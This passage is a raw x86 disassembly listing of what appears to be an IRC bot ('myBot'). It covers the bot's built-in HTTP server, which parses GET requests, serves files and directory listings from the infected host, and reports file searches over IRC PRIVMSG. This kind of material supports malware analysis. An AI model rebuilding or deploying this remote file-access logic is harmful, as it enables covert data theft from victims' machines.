push eax
push edi
call dword_4E08CC
cmp eax, 0FFFFFFFFh
jz loc_40EFE1
push 7FFFFFFFh
push edi
call dword_4E08C8
cmp eax, 0FFFFFFFFh
jz loc_40EFE1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4E0938
cmp eax, 0FFFFFFFFh
jz loc_40EFE1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40ECC7: ; CODE XREF: sub_40EBF0+3E7j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4E0888
cmp eax, 0FFFFFFFFh
jz loc_40EFDC
xor esi, esi
mov [ebp+var_4], esi
loc_40ECFD: ; CODE XREF: sub_40EBF0+3E1j
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4E079C
test eax, eax
jz loc_40EFC7
cmp esi, [ebp+var_C]
jnz short loc_40ED7F
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4E0930
cmp eax, 0FFFFFFFFh
jz loc_40EFC7
xor ecx, ecx
test ebx, ebx
jbe short loc_40ED51
lea edx, [ebp+var_134]
loc_40ED45: ; CODE XREF: sub_40EBF0+15Fj
cmp [edx], eax
jz short loc_40ED51
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40ED45
loc_40ED51: ; CODE XREF: sub_40EBF0+14Dj
; sub_40EBF0+157j
cmp ecx, ebx
jnz short loc_40ED6E
cmp ebx, 40h
jnb short loc_40ED6E
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40ED6E: ; CODE XREF: sub_40EBF0+163j
; sub_40EBF0+168j
cmp eax, [ebp+var_8]
jbe loc_40EFC7
mov [ebp+var_8], eax
jmp loc_40EFC7
; ---------------------------------------------------------------------------
loc_40ED7F: ; CODE XREF: sub_40EBF0+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B190
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B190
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4E08B8
test eax, eax
jg short loc_40EE12
push esi
call dword_4E0934
xor ecx, ecx
test ebx, ebx
jbe loc_40EFC7
lea eax, [ebp+var_134]
loc_40EDD1: ; CODE XREF: sub_40EBF0+1EBj
cmp [eax], esi
jz short loc_40EDE2
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40EDD1
jmp loc_40EFC7
; ---------------------------------------------------------------------------
loc_40EDE2: ; CODE XREF: sub_40EBF0+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40EE06
lea eax, [ebp+ecx*4+var_134]
loc_40EDF0: ; CODE XREF: sub_40EBF0+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40EDF0
loc_40EE06: ; CODE XREF: sub_40EBF0+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40EFC7
; ---------------------------------------------------------------------------
loc_40EE12: ; CODE XREF: sub_40EBF0+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B190
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_418D00
add esp, 10h
test eax, eax
jbe loc_40EFC7
loc_40EE40: ; CODE XREF: sub_40EBF0+30Fj
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40EEEB
lea eax, [ebp+var_18F0]
push offset aGet ; "GET "
push eax
call sub_41B890
pop ecx
test eax, eax
pop ecx
jz short loc_40EEBF
lea eax, [ebp+var_18F0]
push eax
call sub_418D00
cmp eax, 5
pop ecx
jbe short loc_40EEBF
push offset asc_44B820 ; " "
push offset asc_44B824 ; " "
lea eax, [ebp+var_18F0]
push offset aGet_0 ; "GET "
push eax
call sub_41B890
pop ecx
pop ecx
push eax
call sub_41B890
pop ecx
pop ecx
push eax
call sub_41C550
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C300
add esp, 10h
jmp short loc_40EED6
; ---------------------------------------------------------------------------
loc_40EEBF: ; CODE XREF: sub_40EBF0+27Ej
; sub_40EBF0+290j
lea eax, [ebp+var_18F0]
push offset asc_44B830 ; "\r\n"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_40EF0A
loc_40EED6: ; CODE XREF: sub_40EBF0+2CDj
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B190
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40EEEB: ; CODE XREF: sub_40EBF0+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_418D00
cmp [ebp+arg_0], eax
pop ecx
jb loc_40EE40
jmp loc_40EFC7
; ---------------------------------------------------------------------------
loc_40EF0A: ; CODE XREF: sub_40EBF0+2E4j
xor ecx, ecx
test ebx, ebx
jbe short loc_40EF54
lea eax, [ebp+var_134]
loc_40EF16: ; CODE XREF: sub_40EBF0+333j
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40EF27
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40EF16
jmp short loc_40EF57
; ---------------------------------------------------------------------------
loc_40EF27: ; CODE XREF: sub_40EBF0+32Bj
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40EF4B
lea eax, [ebp+ecx*4+var_134]
loc_40EF35: ; CODE XREF: sub_40EBF0+359j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40EF35
loc_40EF4B: ; CODE XREF: sub_40EBF0+33Cj
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40EF57
; ---------------------------------------------------------------------------
loc_40EF54: ; CODE XREF: sub_40EBF0+31Ej
mov esi, [ebp+var_4]
loc_40EF57: ; CODE XREF: sub_40EBF0+335j
; sub_40EBF0+362j
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40EFC0
lea eax, [ebp+var_360]
push eax
call sub_418D00
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_418D00
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40EFC0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4E0938
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F1D3
add esp, 14h
jmp short loc_40EFC7
; ---------------------------------------------------------------------------
loc_40EFC0: ; CODE XREF: sub_40EBF0+36Fj
; sub_40EBF0+395j
push esi
call dword_4E0934
loc_40EFC7: ; CODE XREF: sub_40EBF0+11Dj
; sub_40EBF0+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40ECFD
jmp loc_40ECC7
; ---------------------------------------------------------------------------
loc_40EFDC: ; CODE XREF: sub_40EBF0+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40EFE1: ; CODE XREF: sub_40EBF0+6Aj
; sub_40EBF0+92j ...
call dword_4E083C
push eax
lea eax, [ebp+var_8F0]
push offset unk_44B834
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F027
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_408EB9
add esp, 14h
loc_40F027: ; CODE XREF: sub_40EBF0+412j
lea eax, [ebp+var_8F0]
push eax
call sub_41458A
pop ecx
push edi
call dword_4E0934
push [ebp+var_254]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
pop edi
pop esi
pop ebx
sub_40EBF0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F051 proc near ; DATA XREF: sub_40F1D3+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BC60
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B740
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B740
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_40F0B6
push offset aTextHtml ; "text/html"
jmp short loc_40F0BB
; ---------------------------------------------------------------------------
loc_40F0B6: ; CODE XREF: sub_40F051+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_40F0BB: ; CODE XREF: sub_40F051+63j
lea eax, [ebp+var_9C]
push eax
call sub_41B740
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_4F13C0 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_4F13BC ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F134
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B740
add esp, 24h
jmp short loc_40F155
; ---------------------------------------------------------------------------
loc_40F134: ; CODE XREF: sub_40F051+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B740
add esp, 28h
loc_40F155: ; CODE XREF: sub_40F051+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4E08EC
cmp [ebp+var_A4], edi
jnz short loc_40F195
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FB05
pop ecx
pop ecx
jmp short loc_40F1B2
; ---------------------------------------------------------------------------
loc_40F195: ; CODE XREF: sub_40F051+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F483
add esp, 10h
loc_40F1B2: ; CODE XREF: sub_40F051+142j
push [ebp+var_44C]
call dword_4E0934
push [ebp+var_B4]
call sub_40AB19
pop ecx
push edi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_40F051 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F1D3 proc near ; CODE XREF: sub_40EBF0+3C6p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B190
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F209
push eax
push offset aS_20 ; "\\%s"
jmp short loc_40F212
; ---------------------------------------------------------------------------
loc_40F209: ; CODE XREF: sub_40F1D3+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_21 ; "%s"
loc_40F212: ; CODE XREF: sub_40F1D3+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B740
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_418D00
test eax, eax
pop ecx
jbe short loc_40F2AD
mov [ebp+arg_8], 2
loc_40F23D: ; CODE XREF: sub_40F1D3+D8j
lea eax, [ebp+var_10C]
push eax
call sub_418D00
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F27D
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F27D
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F27D
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F27D
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F297
; ---------------------------------------------------------------------------
loc_40F27D: ; CODE XREF: sub_40F1D3+7Aj
; sub_40F1D3+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F28D
push 5Ch
pop eax
jmp short loc_40F290
; ---------------------------------------------------------------------------
loc_40F28D: ; CODE XREF: sub_40F1D3+B3j
movsx eax, al
loc_40F290: ; CODE XREF: sub_40F1D3+B8j
mov [ebp+ebx+var_210], al
loc_40F297: ; CODE XREF: sub_40F1D3+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_418D00
cmp esi, eax
pop ecx
jb short loc_40F23D
loc_40F2AD: ; CODE XREF: sub_40F1D3+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_41B740
lea eax, [ebp+var_314]
push offset asc_44BA80 ; "\n"
push eax
call sub_41C550
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_4F1354 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_40F2FB
cmp eax, 0FFFFFFFFh
jnz short loc_40F2FE
push [ebp+arg_0]
jmp short loc_40F37A
; ---------------------------------------------------------------------------
loc_40F2FB: ; CODE XREF: sub_40F1D3+11Cj
mov [ebp+var_4], esi
loc_40F2FE: ; CODE XREF: sub_40F1D3+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F30B
mov [ebp+var_4], esi
loc_40F30B: ; CODE XREF: sub_40F1D3+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F385
cmp [ebp+arg_C], edi
jz short loc_40F379
lea eax, [ebp+var_314]
push offset asc_44BA84 ; "*"
push eax
call sub_41C310
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B740
lea eax, [ebp+var_210]
push eax
call sub_40FBC2
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B740
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_40F3D4
; ---------------------------------------------------------------------------
loc_40F379: ; CODE XREF: sub_40F1D3+14Fj
push ebx
loc_40F37A: ; CODE XREF: sub_40F1D3+126j
call dword_4E0934
jmp loc_40F47C
; ---------------------------------------------------------------------------
loc_40F385: ; CODE XREF: sub_40F1D3+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_4F13A8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F3D4
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B740
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_4F13C4 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_4F1324 ; CloseHandle
loc_40F3D4: ; CODE XREF: sub_40F1D3+1A4j
; sub_40F1D3+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_44BA88
push eax
call sub_41B740
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40A7FD
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_4537CC[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F051
push edi
push edi
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_4537DC[ecx], eax
jz short loc_40F44E
loc_40F43C: ; CODE XREF: sub_40F1D3+279j
cmp [ebp+var_318], edi
jnz short loc_40F47C
push 5
call dword_4F1334 ; Sleep
jmp short loc_40F43C
; ---------------------------------------------------------------------------
loc_40F44E: ; CODE XREF: sub_40F1D3+267j
push ebx
call dword_4E0934
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_44BABC
push eax
call sub_41B740
lea eax, [ebp+var_8C4]
push eax
call sub_41458A
add esp, 10h
loc_40F47C: ; CODE XREF: sub_40F1D3+1ADj
; sub_40F1D3+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F1D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F483 proc near ; CODE XREF: sub_401CC1+6AEFp
; sub_40F051+159p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B190
mov edi, [ebp+arg_0]
push offset asc_44BAF4 ; "\n"
push edi
call sub_41C550
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F4E2
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B910
add esp, 14h
jmp loc_40F5DF
; ---------------------------------------------------------------------------
loc_40F4E2: ; CODE XREF: sub_40F483+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40F5C5
call sub_418D00
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
push edi
call sub_418D00
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 0Ch
jmp short loc_40F5DF
; ---------------------------------------------------------------------------
loc_40F5C5: ; CODE XREF: sub_40F483+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 10h
loc_40F5DF: ; CODE XREF: sub_40F483+5Aj
; sub_40F483+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
cmp [ebp+arg_C], ebx
jz short loc_40F677
push [ebp+arg_C]
call sub_418D00
cmp eax, 2
pop ecx
jbe short loc_40F677
push [ebp+arg_C]
call sub_418D00
sub eax, 3
pop ecx
jz short loc_40F62B
loc_40F61F: ; CODE XREF: sub_40F483+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40F62B
dec eax
jnz short loc_40F61F
loc_40F62B: ; CODE XREF: sub_40F483+19Aj
; sub_40F483+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B1F0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
loc_40F677: ; CODE XREF: sub_40F483+17Ej
; sub_40F483+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4F13D8 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4F13D4 ; FindNextFileA
test eax, eax
jz loc_40FA68
mov edi, 1FFh
loc_40F6A3: ; CODE XREF: sub_40F483+5DFj
cmp [ebp+var_388], ebx
jz loc_40FA50
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40FA50
lea eax, [ebp+var_35C]
push offset a__1 ; "."
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40FA50
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4F13D0 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_4F13CC ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_40F718
mov ecx, offset aAm ; "AM"
loc_40F718: ; CODE XREF: sub_40F483+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40F724
sub eax, 0Ch
loc_40F724: ; CODE XREF: sub_40F483+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B740
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40F8D1
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40F7A5
lea eax, [ebp+var_35C]
push eax
push offset aS_22 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B910
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41B910
add esp, 28h
jmp loc_40FA21
; ---------------------------------------------------------------------------
loc_40F7A5: ; CODE XREF: sub_40F483+2DBj
cmp [ebp+arg_C], ebx
jz loc_40F88F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B910
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_3 ; "%s%s/"
push edi
push eax
call sub_41B910
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
lea eax, [ebp+var_35C]
push eax
call sub_418D00
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40F845
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40F84A
; ---------------------------------------------------------------------------
loc_40F845: ; CODE XREF: sub_40F483+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40F84A: ; CODE XREF: sub_40F483+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B910
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FA12
; ---------------------------------------------------------------------------
loc_40F88F: ; CODE XREF: sub_40F483+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_23 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B910
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_40F8BC: ; CODE XREF: sub_40F483+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B910
add esp, 24h
jmp loc_40FA21
; ---------------------------------------------------------------------------
loc_40F8D1: ; CODE XREF: sub_40F483+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40F8FB
push ebx
push [ebp+var_368]
call sub_414F46
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_40F8BC
; ---------------------------------------------------------------------------
loc_40F8FB: ; CODE XREF: sub_40F483+454j
cmp [ebp+arg_C], ebx
jz loc_40F9FB
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B910
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_4 ; "%s%s"
push edi
push eax
call sub_41B910
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
lea eax, [ebp+var_35C]
push eax
call sub_418D00
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40F99B
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40F9A0
; ---------------------------------------------------------------------------
loc_40F99B: ; CODE XREF: sub_40F483+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40F9A0: ; CODE XREF: sub_40F483+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B910
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4E08EC
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B910
add esp, 1Ch
jmp short loc_40FA21
; ---------------------------------------------------------------------------
loc_40F9FB: ; CODE XREF: sub_40F483+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40FA12: ; CODE XREF: sub_40F483+407j
lea eax, [ebp+var_248]
push eax
call sub_41B910
add esp, 18h
